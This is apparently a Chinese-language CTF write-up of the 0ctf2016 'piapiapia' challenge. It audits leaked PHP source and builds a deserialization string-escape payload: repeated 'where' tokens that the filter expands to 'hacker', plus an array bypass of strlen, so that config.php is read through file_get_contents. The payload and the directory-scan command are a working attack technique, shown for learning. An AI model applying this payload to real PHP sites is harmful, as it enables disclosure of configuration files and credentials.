[0ctf2016]piapiapia

[0ctf2016]piapiapia(PHP unserialize字符逃逸)

前言

由於自己還沒接觸過太多這類的題目,所以還是總結網上的WP進行復現,會儘可能寫的清晰,那麼話不多說,開始淦

首先使用了dirsearch掃了一下目錄(網站源碼泄漏www.zip)

dirsearch -u "http://62bfe127-e775-4795-bf16-8cc039c1e9ab.node3.buuoj.cn" -e * -s 1 -t 10

需要指定線程和延遲,不然只能掃出429
下載網站源碼後開始審計
首先看看config.php,裏面有個flag變量

$config['hostname'] = '127.0.0.1';
$config['username'] = 'root';
$config['password'] = '';
$config['database'] = '';
$flag = '';

然後看看profile.php

$profile = unserialize($profile);
$phone = $profile['phone'];
$email = $profile['email'];
$nickname = $profile['nickname'];
$photo = base64_encode(file_get_contents($profile['photo']));

發現一個敏感函數
file_get_contents()(將一個文件讀取到一個字符串中)
還對$profile變量進行了反序列化
這裏我們就有了一個思路,可不可以使用file_get_contents函數讀取config.php呢?答案是可以的,這時候我們再找找$profile變量是什麼傳遞過來的

$profile=$user->show_profile($username);

繼續跟蹤show_profile方法,因爲profile.php包含了class.php,所以我們去class.php尋找

public function show_profile($username) {
    $username = parent::filter($username);
    $where = "username = '$username'";
    $object = parent::select($this->table, $where);
    return $object->profile;
}

發現它對username變量進行了一些處理,調用了父類filter方法

public function filter($string) {
		$escape = array('\'', '\\\\');
		$escape = '/' . implode('|', $escape) . '/';
		$string = preg_replace($escape, '_', $string);
		$safe = array('select', 'insert', 'update', 'delete', 'where');
		$safe = '/' . implode('|', $safe) . '/i';
		return preg_replace($safe, 'hacker', $string);
	}

username變量進行處理之後,再調用父類的select方法

public function select($table, $where, $ret = '*') {
		$sql = "SELECT $ret FROM $table WHERE $where";
		$result = mysql_query($sql, $this->link);
		return mysql_fetch_object($result);
	}

到這裏線索似乎就斷了,別急,那先看看其他的php
這裏看到update.php裏面有個serialize(序列化操作)

$user->update_profile($username, serialize($profile));

調用了class.php中user子類的update_profile方法,這時我們回到class.php

public function update_profile($username, $new_profile) {
	$username = parent::filter($username);
	$new_profile = parent::filter($new_profile);
    $where = "username = '$username'";
    return parent::update($this->table, 'profile', $new_profile, $where);
}

還是經過父類filter方法的處理,繼續跟進父類的update方法

public function update($table, $key, $value, $where) {
	$sql = "UPDATE $table SET $key = '$value' WHERE $where";
	return mysql_query($sql);
}

整個邏輯鏈

unserialize->show_profile方法->select方法
serialize->update_profile方法->update方法

首先數據經過序列化傳入到數據庫,然後取出的時候反序列化,那麼勢必需要傳入參數,並且構造惡意參數吧,而update.php這個頁面我們可以看到是一個數據傳入的頁面,那麼我們就來看看是否存在漏洞。

if(!preg_match('/^\d{11}$/', $_POST['phone']))
	die('Invalid phone');

if(!preg_match('/^[_a-zA-Z0-9]{1,10}@[_a-zA-Z0-9]{1,10}\.[_a-zA-Z0-9]{1,10}$/', $_POST['email']))
	die('Invalid email');
		
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
	die('Invalid nickname');

可以看到前兩個參數好像都沒什麼辦法繞過,但第三個參數好像可以繞過
這裏我們可以發現前面的正則時匹配所有字母和數字,也就是nickname是字母和數字的話,就是真,而strlen()函數可以使用數組繞過,這樣一來nickname就完全被我們控制了。

$profile['phone'] = $_POST['phone'];
$profile['email'] = $_POST['email'];
$profile['nickname'] = $_POST['nickname'];
$profile['photo'] = 'upload/' . md5($file['name']);
$user->update_profile($username, serialize($profile));

傳入的參數都會被序列化,那麼這裏我們就可以構造惡意參數
這裏引入一個概念

$a = 'abc';
echo serialize(array($a));

序列化之後的結果

a:1:{i:0;s:3:"abc";}

$s = 'a:1:{i:0;s:3:"acd";}bc";}';
var_dump(unserialize($s));

反序列化之後的結果:

array(1) { [0]=> string(3) "acd" } 

也就是說當;}閉合之後後面的字符bc";}就被拋棄了
ok,明白這個概念之後,開始構造payload

首先我們傳入正常的數據進行序列化

<?php
$profile['phone'] = '18888888888';
$profile['email'] = '[email protected]';
$profile['nickname'] = 'admin';
$profile['photo'] = 'upload/' . md5('1.txt');
echo serialize($profile);

序列化結果爲:

a:4:{s:5:"phone";s:11:"18888888888";s:5:"email";s:12:"[email protected]";s:8:"nickname";s:5:"admin";s:5:"photo";s:39:"upload/dd7ec931179c4dcb6a8ffb8b8786d20b";}

由於需要利用file_get_contents函數讀取config.php

<?php
$profile['phone'] = '18888888888';
$profile['email'] = '[email protected]';
$profile['nickname'] = 'admin';
$profile['photo'] = 'config.php';
echo serialize($profile);

那麼我們需要使序列化的結果爲:

a:4:{s:5:"phone";s:11:"18888888888";s:5:"email";s:12:"[email protected]";s:8:"nickname";s:5:"admin";s:5:"photo";s:10:"config.php";}

而我們可以控制的部分是:

admin

所以我們可以使nickname爲:

";}s:5:"photo";s:10:"config.php";}

爲什麼這裏多了個括號呢?

class test{
    public $a = array('a','b');
}
class test2 {
    public $b = '123';
}

$test = new test();
$test2 = new test2();
echo serialize($test);
echo '<br>';
echo serialize($test2);

序列化結果:

O:4:"test":1:{s:1:"a";a:2:{i:0;s:1:"a";i:1;s:1:"b";}}
O:5:"test2":1:{s:1:"b";s:3:"123";}

可以看到數組序列化是多一個括號的
ok,這樣一構造的話,我們發現

<?php
$profile['phone'] = '18888888888';
$profile['email'] = '[email protected]';
$profile['nickname'] = '"};s:5:"photo";s:10:"config.php";}';
$profile['photo'] = 'config.php';
echo serialize($profile);

序列化結果:

a:4:{s:5:"phone";s:11:"18888888888";s:5:"email";s:12:"[email protected]";s:8:"nickname";s:34:""};s:5:"photo";s:10:"config.php";}";s:5:"photo";s:10:"config.php";}

這裏我構造的序列化的payload是無法被反序列化的,因爲還差34個字符
這時候想起來父類的filter方法對用戶傳入的參數進行了過濾,現在去看看

public function filter($string) {
	$escape = array('\'', '\\\\');
	$escape = '/' . implode('|', $escape) . '/';
	$string = preg_replace($escape, '_', $string);
	$safe = array('select', 'insert', 'update', 'delete', 'where');
	$safe = '/' . implode('|', $safe) . '/i';
	return preg_replace($safe, 'hacker', $string);
}

這裏我們發現select,insert,update,delete都是六個字符,唯獨where是五個字符,而把where替換成hacker,則多出來一個字符正好可以填充,那麼使用34個where不就可以解決這個問題了嗎
所以最終payload:

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

在這裏插入圖片描述

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章